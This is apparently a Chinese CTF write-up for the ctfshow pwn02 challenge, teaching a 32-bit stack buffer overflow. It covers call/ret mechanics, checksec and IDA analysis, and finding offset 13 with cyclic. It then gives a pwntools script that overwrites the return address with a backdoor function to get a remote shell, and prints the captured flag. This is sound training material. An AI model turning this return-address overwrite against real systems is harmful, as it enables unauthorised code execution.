【CTF】pwn栈溢出的入门打卡-ctfshow-pwn02

# ctfshow-pwn02 栈溢出

[TOC]

## 知识回顾
这题首先需要掌握的是call和retn的底层逻辑，这里我在汇编基础文章里写过，但怕忘，还是重点再重复一次。

### 首先讲讲call
其实call本质是分步执行的
1、修改eip
2、吧call的下一行地址压入堆栈中
3、ESP值-4

```
# 执行
call 004183FA
# 分步
mov eip,004183FA
push 004183FA -> mov dword ptr ds:[esp-4],004183FA
                 sub esp,4
```

### 再讲讲ret
ret其实就是反过来，将esp-4的地址移动到eip，也就是将call之前写入栈中的下一行地址给赋值给eip，实现调用完后继续执行的效果 
```
# 执行
ret
# 分步执行
add esp,4
mov eip,[esp-4]
```

> 了解了这些前置知识，我们就可以入门pwn的第一课了，栈溢出

## 静态分析

下载题目，在ctfshow平台上的pwn02题目

![](https://www.caozhexxgweb.cn/zb_users/upload/2025/01/202501091125258596765.png)

发现是一个32位的ELF文件

```shell
┌──(c㉿kali)-[~/pwn/stack_dir]
└─$ file stack 
stack: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d51fd1e5dbc8bde0ebef57a961f37ee41fab2de8, not stripped
```

并且可以看到保护基本没有开，PIE也关的，代表我们可以直接通过静态地址来跳转到函数地址。

```shell
pwndbg> checksec 
File:     /home/cz/pwn/stack_dir/stack
Arch:     i386
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
Stripped:   No
pwndbg> 
```

在ida里发现有几个明显奇怪的函数

![](https://www.caozhexxgweb.cn/zb_users/upload/2025/01/202501091125443314300.png)

在pwnme函数中发现esp只被分配了18h。
然而在call _fgets中指定了最多读取0x32字节（50字节）到s。
导致可能会出现栈溢出。

![](https://www.caozhexxgweb.cn/zb_users/upload/2025/01/202501091126035352225.png)

### 思考

那么溢出是前提，我们的目的是什么呢？

目的其实就是将call压入的下一eip的值给覆盖了。

可是这还有一个问题，实现一个eip可控的目的，但可控，我们要改成什么呢？

我们可以看到题目中，其实下面程序已经给我们准备了一个stack后门函数，地址为0x0804850F，我们只要将esp-4的值改成这个就可以了

![](https://www.caozhexxgweb.cn/zb_users/upload/2025/01/202501091126167857361.png)

> 那么我们就直接开始

## 开始

### 找出覆盖点

快速找出需要覆盖到的返回地址长度只需要用pwndbg

1.先用cyclic 40生成一段字符串：
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
2.gdb运行程序，输入字符串
3.cyclic -l 【错误地址】

根据下面的尝试，我们得到了溢出所需的长度是13

```shell
pwndbg> cyclic 40
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
pwndbg> r
Starting program: /home/cz/pwn/stack_dir/stack 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
stack happy!
32bits

aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa

Program received signal SIGSEGV, Segmentation fault.
0x65616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────
 EAX  0
 EBX  0xf7f9ce14 (_GLOBAL_OFFSET_TABLE_) ◂— 0x235d0c /* '\x0c]#' */
 ECX  0
 EDX  0xf7f9e8ac (_IO_stdfile_0_lock) ◂— 0
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0
 ESI  0x80485b0 (__libc_csu_init) ◂— push ebp
 EBP  0x64616161 ('aaad')
 ESP  0xffffd300 ◂— 'aaafaaagaaahaaaiaaajaaa\n'
 EIP  0x65616161 ('aaae')
────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────
Invalid address 0x65616161
─────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd300 ◂— 'aaafaaagaaahaaaiaaajaaa\n'
01:0004│     0xffffd304 ◂— 'aaagaaahaaaiaaajaaa\n'
02:0008│     0xffffd308 ◂— 'aaahaaaiaaajaaa\n'
03:000c│     0xffffd30c ◂— 'aaaiaaajaaa\n'
04:0010│     0xffffd310 ◂— 'aaajaaa\n'
05:0014│     0xffffd314 ◂— 'aaa\n'
06:0018│     0xffffd318 —▸ 0xf7da5000 (canonicalize_file_name) ◂— sub esp, 0x14
07:001c│     0xffffd31c —▸ 0xf7d8bd43 (__libc_start_call_main+115) ◂— add esp, 0x10
───────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────
 ► 0 0x65616161 None
   1 0x66616161 None
   2 0x67616161 None
   3 0x68616161 None
   4 0x69616161 None
   5 0x6a616161 None
   6 0xa616161 None
   7 0xf7da5000 canonicalize_file_name
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x65616161
Finding cyclic pattern of 4 bytes: b'aaae' (hex: 0x61616165)
Found at offset 13
pwndbg> 
```

### 覆盖返回地址

将栈中填满溢出的值13，然后后面填上返回地址即可，下面是用pwntools的py代码样例

重点是看payload这个变量，它将a*13个作为溢出的字符串 p32是创建一个32位的小端序字节序列，地址就是之前静态分析出的后门地址

```python
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
backdoor = 0x0804850F
p=process("./stack")

# p=remote("",0)

gdb.attach(p, '''
    b *0x08048505
    c
''')
p.recvuntil(b"32bits\n")

payload = b"a"*13 + p32(backdoor)
p.sendline(payload)
p.interactive()
```

我们运行一下试试

发现堆栈中的返回地址被我们改成了`0x804850f`

```shell
─────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────
   0x8048505 <pwnme+26>    add    esp, 0x10     ESP => 0xfffe5fb0 (0xfffe5fa0 + 0x10)
   0x8048508 <pwnme+29>    mov    eax, 0        EAX => 0
   0x804850d <pwnme+34>    leave  
 _ 0x804850e <pwnme+35>    ret                                <stack>
    _
   0x804850f <stack>       push   ebp
   0x8048510 <stack+1>     mov    ebp, esp      EBP => 0xfffe5fcc __ 0x61616161 ('aaaa')
   0x8048512 <stack+3>     sub    esp, 8        ESP => 0xfffe5fc4 (0xfffe5fcc - 0x8)
   0x8048515 <stack+6>     sub    esp, 0xc      ESP => 0xfffe5fb8 (0xfffe5fc4 - 0xc)
   0x8048518 <stack+9>     push   0x8048630
   0x804851d <stack+14>    call   system@plt                  <system@plt>
 
   0x8048522 <stack+19>    add    esp, 0x10
─────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────
00:0000│ esp 0xfffe5fcc __ 0x804850f (stack) __ push ebp
01:0004│     0xfffe5fd0 __ 0xa /* '\n' */
02:0008│     0xfffe5fd4 __ 0xfffe5ff0 __ 1
03:000c│     0xfffe5fd8 __ 0
04:0010│     0xfffe5fdc __ 0xf7d51d43 (__libc_start_call_main+115) __ add esp, 0x10
05:0014│     0xfffe5fe0 __ 0
06:0018│     0xfffe5fe4 __ 0
07:001c│     0xfffe5fe8 __ 0xf7d6b069 (__new_exitfn+9) __ add ebx, 0x1f7dab
```

对比一下正常运行时候的堆栈
```shell
───────────────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────────
   0x8048505 <pwnme+26>    add    esp, 0x10     ESP => 0xffffd270 (0xffffd260 + 0x10)
   0x8048508 <pwnme+29>    mov    eax, 0        EAX => 0
   0x804850d <pwnme+34>    leave  
 _ 0x804850e <pwnme+35>    ret                                <main+94>
    _
   0x8048586 <main+94>     sub    esp, 0xc      ESP => 0xffffd284 (0xffffd290 - 0xc)
   0x8048589 <main+97>     push   0x804864d
   0x804858e <main+102>    call   puts@plt                    <puts@plt>
 
   0x8048593 <main+107>    add    esp, 0x10
   0x8048596 <main+110>    mov    eax, 0                       EAX => 0
   0x804859b <main+115>    mov    ecx, dword ptr [ebp - 4]
   0x804859e <main+118>    leave  
────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd28c __ 0x8048586 (main+94) __ sub esp, 0xc
01:0004│-008 0xffffd290 __ 0
02:0008│-004 0xffffd294 __ 0xffffd2b0 __ 1
03:000c│ ebp 0xffffd298 __ 0
04:0010│+004 0xffffd29c __ 0xf7d8bd43 (__libc_start_call_main+115) __ add esp, 0x10
05:0014│+008 0xffffd2a0 __ 0
06:0018│+00c 0xffffd2a4 __ 0
07:001c│+010 0xffffd2a8 __ 0xf7da5069 (__new_exitfn+9) __ add ebx, 0x1f7dab
```

上图

![](https://www.caozhexxgweb.cn/zb_users/upload/2025/01/202501091127154731246.png)

### 改为远程调试获取远程sh和flag

本地测试成功后，我们用pwntools的remote，和远程端口进行链接，并且发送我们之前的溢出字符串，如下

```python
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
backdoor = 0x0804850F

p=remote("pwn.challenge.ctf.show",28130)

p.recvuntil(b"32bits\n")

payload = b"a"*13 + p32(backdoor)
p.sendline(payload)
p.interactive()
```

运行后成功通过pwn溢出返回地址，执行后门函数，获取shell，cat flag即可获取flag

```shell
┌──(cz__kali)-[~/pwn/stack_dir]
└─$ python3.11 py_stack.py
[+] Opening connection to pwn.challenge.ctf.show on port 28130: Done
[*] Switching to interactive mode

$ ls
FLAG
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
ctfshow{e665b37d-1754-470f-8a01-bcd33cc6b87f}
$  
```